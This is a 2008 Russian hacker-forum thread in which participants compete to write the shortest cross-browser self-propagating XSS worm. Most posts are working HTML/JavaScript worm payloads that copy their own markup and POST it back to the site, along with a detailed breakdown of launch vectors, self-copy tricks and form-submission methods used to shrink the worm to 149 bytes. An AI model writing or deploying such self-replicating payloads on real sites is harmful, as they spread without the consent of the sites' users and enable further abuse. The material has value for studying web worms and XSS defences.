ANTICHAT.XYZ    VIDEO.ANTICHAT.XYZ    НОВЫЕ СООБЩЕНИЯ    ФОРУМ  
Баннер 1   Баннер 2
Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей. Здесь обсуждаются безопасность, программирование, технологии и многое другое. Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
Вернуться   Форум АНТИЧАТ > Безопасность и Уязвимости > Уязвимости
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

Malware 2.0 : XSS Worm Competition
  #1  
Старый 15.01.2008, 18:02
Аватар для Евгений Минаев
Евгений Минаев
Познающий
Регистрация: 12.11.2007
Сообщений: 70
Провел на форуме:
1214722

Репутация: 676
По умолчанию Malware 2.0 : XSS Worm Competition

Воистину , на javascript творят чудеса и даже любой деструктивный подход вроде xss червя является результатом множественных исследований . Нам надо всего лишь создать маленькое чудо , причем чем меньше тем лучше , которое отправит свой собственный код на скрипт . Учитываться также будет кроссбраузерность , думаю , таких браузеров как FireFox второй ветки и шестого IE будет достаточно для испытания . Для упрощения задачи сделал форму которая разместит на странице ваш скрипт и скрипт a.php который выведет то что на него послали посредством POST в переменной xss.Длину считать полностью , те допустим от тега <script до его закрывающего </script> , а не только содержимое.Пока что мой код умещается в 162 символа.

Пишем код в форме , жмем кнопку и смотрим результат.Ничего не режется , вывелась ли ваша xss можно глянуть любым http снифером по обращениям к скрипту a.php

Подрубать скрипт с других сайтов нельзя

www.underwater.itdefence.ru/xssed/xssed.php

Последний раз редактировалось Евгений Минаев; 15.01.2008 в 18:11..
 
Ответить с цитированием

  #2  
Старый 15.01.2008, 20:11
Аватар для +toxa+
+toxa+
[Лишённый самовыражени
Регистрация: 16.01.2005
Сообщений: 1,787
Провел на форуме:
9751379

Репутация: 3812


Отправить сообщение для +toxa+ с помощью ICQ Отправить сообщение для +toxa+ с помощью AIM
По умолчанию

162, фф
PHP код:
<img src=. onerror="with(appendChild(createElement('form')))submit(i=createElement('input'),i.name='xss',i.value='x',appendChild(i),action='a.php',method='post')" 
__________________

Последний раз редактировалось +toxa+; 15.01.2008 в 20:17..
 
Ответить с цитированием

  #3  
Старый 15.01.2008, 20:17
Аватар для Евгений Минаев
Евгений Минаев
Познающий
Регистрация: 12.11.2007
Сообщений: 70
Провел на форуме:
1214722

Репутация: 676
По умолчанию

PHP код:
<img src=. onerror="with(new XMLHttpRequest)(open('POST','a.php'),setRequestHeader('content-type','application/x-www-form-urlencoded'),send('xss='+this.onerror))" 
 
Ответить с цитированием

  #4  
Старый 15.01.2008, 20:52
Аватар для zeppe1in
zeppe1in
Постоянный
Регистрация: 12.07.2006
Сообщений: 327
Провел на форуме:
1654818

Репутация: 117
По умолчанию

Я что то не понял куда и что выводит a.php. И потом ваши скрипты помоему не отправляют весь свой собственный код.
 
Ответить с цитированием

  #5  
Старый 15.01.2008, 21:48
Аватар для V1k
V1k
Познающий
Регистрация: 01.02.2007
Сообщений: 41
Провел на форуме:
1718137

Репутация: 201
По умолчанию

123, Opera & IE
PHP код:
</form><form id=z method=post action=a.php ><input name=xss /><body onload=z.xss.value=z.parentNode.outerHTML;z.submit() > 
upd:
оказывается, только javascript
ну пусть остается пока..

Последний раз редактировалось V1k; 15.01.2008 в 22:33..
 
Ответить с цитированием

  #6  
Старый 17.01.2008, 02:13
Аватар для LeverOne
LeverOne
Познающий
Регистрация: 22.02.2006
Сообщений: 67
Провел на форуме:
4155100

Репутация: 2033
Lightbulb

1) 141, FF

два небольших креативчика и -21

PHP код:

<body onload="with(new XMLHttpRequest)(open('POST','a.php'),setRequestHeader('content-type','multipart/form-data'),send('xss='+this.onload))" 
2) юзаем готовую форму в полной мере, ибо по правилам нет запрета, если яваскриптом

A) 105, FF & IE 6.0

PHP код:

<img src=. onerror="with(forms[0])submit(action='a.php',e=elements[0],e.name='xss',e.value=this.onerror)" 
Б) 107, Multi

PHP код:

<body onload="with(document.forms[0])submit(action='a.php',e=elements[0],e.name='xss',e.value=this.onload)" 
3) самый малый размер "червя", использующего форму, созданную средствами DOM (вариант от +toxa+), можно получить для IE 6.0-7.0

166, IE 6.0-7.0

PHP код:

<img src=. onerror="with(body.appendChild(createElement('<form action=a.php method=post>')))submit(appendChild(createElement('<input name=xss>')).value=this.onerror)" 

Последний раз редактировалось LeverOne; 18.01.2008 в 02:07..
 
Ответить с цитированием

  #7  
Старый 26.10.2008, 01:42
Аватар для LeverOne
LeverOne
Познающий
Регистрация: 22.02.2006
Сообщений: 67
Провел на форуме:
4155100

Репутация: 2033
По умолчанию

Также хочется сказать о давно минувшем первом конкурсе...

Здесь можно почитать о нем более подробно: _http://habrahabr.ru/blogs/infosecurity/18906

Приведу оттуда условия, которым должен был соответствовать xss-червь:

Цитата:

1. Должен быть в кодировке UTF-8 или ISO-8859-1.
2. Должен копировать себя путем POST-запроса на страницу post.php того же самого домена, откуда запускается (никаких GET'ов). В качестве текстового параметра должен выступать content. Можно предположить, что post.php будет соответствующим образом unescape'ить ваш код.
3. Не должен возрастать в размерах при распространении (если код начинает с n байтов, он не должен возрастать на следующем шаге до n+x). Т.е. мы предполагаем, что контент будет игнорироваться скриптом post.php, если он больше n байтов.
4. Должен запускаться в написанном виде (мы можем добавить все остальные параметры для соответствующей инъекции позже)
5. Не должен использовать Cookie или GET-параметры строки запроса (все строки кода будут пребывать только на самой странице в качестве активного XSS).
6. Не должен предполагать какие-либо сведения о DOM-дереве, хотя вы можете использовать class или id, если они есть в самом коде червя. Нельзя использовать поиск n-ого скрипта на странице, потому что эта информация может меняться от сайта к сайту.
7. Должен работать, по крайней мере, в Internet Explorer 7.0 и Firefox 2.x.
8. Должен выдавать XSS как сообщение на странице (в качестве «полезной нагрузки»).
8. Должен работать, по крайней мере, на серверах Apache 1.3+ и Apache 2+ (т.е. не использовать какие-то серверно-зависимые вещи, связанные с другими серверами) ввиду их доминирования на рынке.
9. Должен работать без участия пользователя или при минимальном участии, которое происходит на каждой странице (например, mouseover в произвольном месте страницы).
автор перевода: sunnybear
автор условий: RSnake

Код червя победителя (161 байт):

Код:
<form><input name="content"><img src="" onerror="with(parentNode)alert('XSS',submit(content.value='<form>'+innerHTML.slice(action=(method='post')+'.php',155)))">
авторы* данного кода: mal, sirdarckcat

* их варианты отличаются друг от друга только порядком команд.

Важные следствия из условий.

1. Код червя должен отвечать условиям при запуске как на странице, где нет вообще никакого иного кода, так и на странице, где иной код есть.

2. Принцип достаточной вероятности. Присваивая id, можно не задумываться о его уникальности. Между тем, наличие аналогичного id у тегов в оригинальном коде страницы могло бы сделать червя неработоспособным. Мы пренебрегаем этой вероятностью, учитывая, что на практике мы сможем соблюсти уникальность id. Принцип достаточной вероятности допускает перенебрежение особыми случаями расположения кода червя в оригинальном коде страницы. Например, есть вероятность, что код расположится в теге title (и тогда не сработает без доработки), но мы можем оставлять без внимания и эти ситуационные вероятности.

3. Размер считается не в символах, а в байтах, что имеет значение в условиях использования вышеуказанных кодировок.

4. Изменение размера кода при итерациях возможно в сторону уменьшения в случае пререхода от исполнения одим браузером к исполнению другим, при этом код должен быть готов к переходу на другой браузер в любой момент. Размер его, идущий в зачет, будет считаться в наиболее широком варианте.

5. Нельзя использовать знания о DOM-дереве, потому что невозможно предположить, где именно на странице будет расположен червь. Обращение к n-ному тегу допустимо только тогда, когда мы знаем, что именно n-ный элемент существует.

6. Код должен быть отослан в пост-параметре "content". При этом не имеет значения, отсылается ли что-либо в других параметрах, и существуют ли они.

Прежде обобщим некоторую информацию

I. Способы запуска, их размеры

A) 26
Код:
<body onload=alert('XSS')>
B) 27 - равнозначен А) и поэтому далее опускается
Код:
<body onfocus=alert('xss')>
С) 28
Код:
<iframe onload=alert('xss')>
D) 29
Код:
<script>alert('xss')</script>
E) 30
Код:
<marquee onstart=alert('xss')>
F) 31
Код:
<img onerror=alert('xss') src=>
G) 44
Код:
<input type=image onerror=alert('xss') src=>
Неподходящие под условия варианты, требующие значительных действий юзера
H) фокус на текстовом поле
Код:
<input onfocus=alert('xss')>
I) потеря фокуса текстового поля
Код:
<input onblur=alert('xss')>
J) движение курсора по полю
Код:
<input onMouseMove=alert('xss')>
Все эти способы использовались и участниками конкурса.

II. Способы самокопирования

* выдел подстроки с помощью match()
48
Код:
`<iframe onload="body.innerHTML.match(/`.+`/)">`
53
Код:
`<img onerror="body.innerHTML.match(/`.+`/)" src="">`
60 - только FF
Код:
<body id="w" onload="w.parentNode.innerHTML.match(/<bo.+/)">
61 - только FF
Код:
<script id="s">s.parentNode.innerHTML.match(/<sc.+/)</script>
66 - только FF
Код:
<marquee onstart="this.parentNode.innerHTML.match(/&lt;ma.{70}/)">
68
Код:
`<input type="image" onerror="body.innerHTML.match(/`.+`/)" src="">`
* выдел тега с помощью innerHTML
57
Код:
<b><img src="" onerror="parentNode.innerHTML.bold()"></b>
60
Код:
<b><script id="s">s.parentNode.innerHTML.bold()</script></b>
61
Код:
<b><iframe onload="parentNode.innerHTML.bold()"></iframe></b>
69
Код:
<b><marquee onstart="this.parentNode.innerHTML.bold()"></marquee></b>
с тегом body данный способ, как и следующий, нецелесообразен, т.к. родителький по отношению к нему только тег html
* выдел подстроки с помощью slice()
59
Код:
<b><iframe onload="'<b>'+parentNode.innerHTML.slice(0,56)">
65
Код:
<b><img onerror="parentNode.innerHTML.bold().slice(0,65)" src="">
67
Код:
<b><script id="s">'<b>'+s.parentNode.innerHTML.slice(0,64)</script>
67
Код:
<b><marquee onstart="this.parentNode.innerHTML.bold().slice(0,74)">
* самокопирование с повтором способа запуска
62
Код:
<script id=s>'<script id=s>'+s.innerHTML+'<\/script>'</script>
IV. Способы отправки пост-запроса

Ajax или Form?

Ajax

Этот способ позволяет уместить весь код в один тег.
Давайте определим, на сколько с неизбежностью должен будет увеличиться код только при той идее, что мы будем использовать ajax. При этом мы абстрагируемся от способа запуска и способа самокопирования.

119
Код:
with(new XMLHttpRequest)open('POST','post.php'),setRequestHeader('content-type','multipart/form-data'),send('content=')
ИТОГО: 119+48(затраты на минимальное самокопирование и запуск)+12(затраты на "alert('xss')") = 179 символов на код как минимум, а на самом деле больше за счет соединительных элементов.
Этот простой подсчет говорит об одном: ajax для целей создания меньшего червя, чем червь-победитель, не годится.

Способы создания форм

1) Средствами DOM, как видно из вышеприведенных постов, большое количество символов уходит на создание и привязку элемента к дереву.

Допустим, что мы имеем контекст document (это имеет место в случаях запуска C), F) и D) ) тогда средствами DOM код развернется следующим образом:
125
Код:
with(body.appendChild(createElement('form')))appendChild(createElement('input')).name='content',action=(method='post')+'.php'
Любое дальнейшее сокращение отрицает средства DOM
107
Код:
with(body.appendChild(createElement('form')))innerHTML='<input name=content>',action=(method='post')+'.php'
2) Cоздание формы посредством HTML предполагает, необходимость последующего копирования этой формы с помощью innerHTML (если форма будет содержать атрибуты) или "ручное" добавление тега формы в строку (именно этот способ был использован в червях-победителях).

Теперь, что из этого короче.

а) Тег form со всеми атрибутами

27
Код:
method=post action=post.php
Однако, когда мы скопируем эти атрибуты через innerHTML, при вставке в строку они преобразуются в
31
Код:
method="post" action="post.php"
Поэтому мы изначально должны закладывать 31 символ, чтобы избежать увеличения кода при дальнейшем самораспространении

б) Тег form с динамическим добавлением атрибутов

вот так какие-либо преимущества отсутствуют
31
Код:
method='post',action='post.php'
но в общем-то достаточно быстро догадались, как этот код можно сократить
29
Код:
action=(method='post')+'.php'
Таким образом, абстрактно, мы видим, что HTML-форма c динамическим добавлением атрибутов предпочтительнее формы посредством DOM

3) Добавление формы через innerHTML

В этом случае, при котором мы используем innerHTML не для копирования в строку, а для добавления кода, мы сами можем определять форму представления этого кода.

Например,
Код:
innerHTML='<form action=post.php method=post>'
в неизменном виде будет оставаться и далее, вследствие чего очевидна выгода даже по сравнению с вариантом html-формы (2).
27
Код:
method=post action=post.php
V. Минимальный червь

Теперь попробуем, используя эти предварительные подсчеты, создать минимального червя, отвечающего всем условиям.

Во-первых, мы видели, что самым коротким способом запуска, при котором сохраняется контекст document, является способ С).

Исходя из этого элементарного вывода мы уже можем сократить червя-победителя на 5 символов (байтов)
156
Код:
<form><input name="content"><iframe onload="alert('XSS');with(parentNode)submit(content.value='<form>'+innerHTML.slice(action=(method='post')+'.php',150))">
Барьер в 160 байт преодолен. В дальнейшем Я буду ориентироваться на размер в 156 символов.

Во-вторых, мы видели, что самым наилучшим способом самокопирования показал себя способ через match в совокупности с iframe, а способ создания формы - через динамическое добавление в innerHTML

Делай раз!

Вот червь, который уже превосходит даже усовершенствованного червя-победителя
155
Код:
`<iframe onload="with(body.innerHTML+='<form id=f method=post action=post.php><input name=content>')f.submit(f.content.value=match(/`.+`/));alert('xss')">`
Делай два!

И 10 символов с червя-победителя долой.
151
Код:
`<iframe onload="with(body)innerHTML='<form action=post.php id=f method=post><textarea name=content>'+innerHTML.match(/`.+`/);f.submit(alert('xss'))">`
Делай три!

149
Код:
`<iframe onload="body[i='innerHTML']='<form action=post.php id=f method=post><textarea name=content>'+body[i].match(/`.+`/);f.submit(alert('xss'))">`
В нем, как видите, преодолён барьер в 150 байт. Тонкий момент заключается в том, что несмотря на обращение к body, мы не используем ситуационное знание о DOM, поскольку тег iframe всегда будет оказываться в body.

VI. Иные интересные варианты

1) spyware - 129 Doesn't work in Firefox 2.0.0.11

Код:
ý<FORM action=post.php method=post><INPUT onfocus="alert('xss');value=body.innerHTML.slice(/ý.*/);submit();" name=content></FORM>
иные несоответствия условиям:
- увеличение при самокопировании:прикол с методом slice не работает, вследствие чего код имеет тенденцию к неограниченному увеличению
- требует участия юзера в виде фокусировки на текстовом поле.

глубокая мысль:
из тега input можно обращаться и к нему самому, и сабмитить form непосредственно (двойной контекст).

что можно сделать?
146
Код:
`<form><input type="image" src="" name="content" onerror="value=body.innerHTML.match(/`.+`/);alert('xss');submit(action=(method='post')+'.php')">`
несоответствие условиям:
- используются ситуационные знания о месте расположения червя в DOM дереве.

Дело в том, что этот червь будет работать только тогда, когда он расположен в body.
Если код будет расположен в head, червь испортится. Причина тому - тег form в head.
Посмотрите сами результат в IE:
Код:
<html>
<head>
`<form><input type="image" src="" name="content" onerror="alert(body.innerHTML.match(/`.+`/))">`
</head>
<body>
</body>
</html>
Что еще можно сделать?
155
Код:
<form>`<input type="image" src="" name="content" onerror="value='<form>'+body.innerHTML.match(/`.+`/);alert('xss');submit(action=(method='post')+'.php')">`
этот червь также превосходит усовершенствованного червя-победителя и соответствует всем условиям
2) sdc - 160 Works in FF with no growth but doesn't work in IE7.0
Код:
<form><INPUT name="content"><IMG src="" onerror="with(z=parentNode)submit(action=(method='post')+'.php',z[0].value='<form>'+innerHTML.slice(alert('XSS'),154))">
К элементу формы возможен доступ через порядковый индекс (в рассматриваемом случае - z[0]). Но работает это только в FF, если мы обращаемся к тегу form посредством DOM. В IE такое обращение возможно только при испольковании идентификатора

ronald - 141 Doesn't work in Firefox 2.0.0.11
Код:
<form id=_><input name="content"><script>_[0].value='<form id=_>'+_.innerHTML+alert('XSS');_.action=(_.method='post')+'.php';_.submit()</script>
Действительно, казалось бы, можно было бы сократить код так:
154
Код:
<form id=f><input name="content"><iframe onload="alert('XSS');with(f)submit(f[0].value='<form id=f>'+innerHTML.slice(action=(method='post')+'.php',143))">
или даже так
153
Код:
<form><input id="i" name="content"><iframe onload="alert('XSS');with(i.form)submit(i.value='<form>'+innerHTML.slice(action=(method='post')+'.php',147))">
Однако же в IE такой червь портится, если свойство innerHTML брать посредством обращения к форме не средствами DOM (не через parentNode), поэтому данные пространственные оптимизации оказываются бесполезными, с точки зрения кроссбраузерности.

Последний раз редактировалось LeverOne; 28.10.2008 в 22:21..
 
Ответить с цитированием
Ответ



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
[ Обзор уязвимостей WordPress ] ettee Сценарии/CMF/СMS 156 07.06.2010 05:01
Web 2.0 выходит на государственный уровень vadim399 Мировые новости 2 12.01.2008 18:06
Xss Расширенный межсайтовый скриптинг SNIFF Чужие Статьи 0 24.11.2005 08:08
Cross Site Scripting FAQ k00p3r Уязвимости 6 12.06.2005 16:23



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ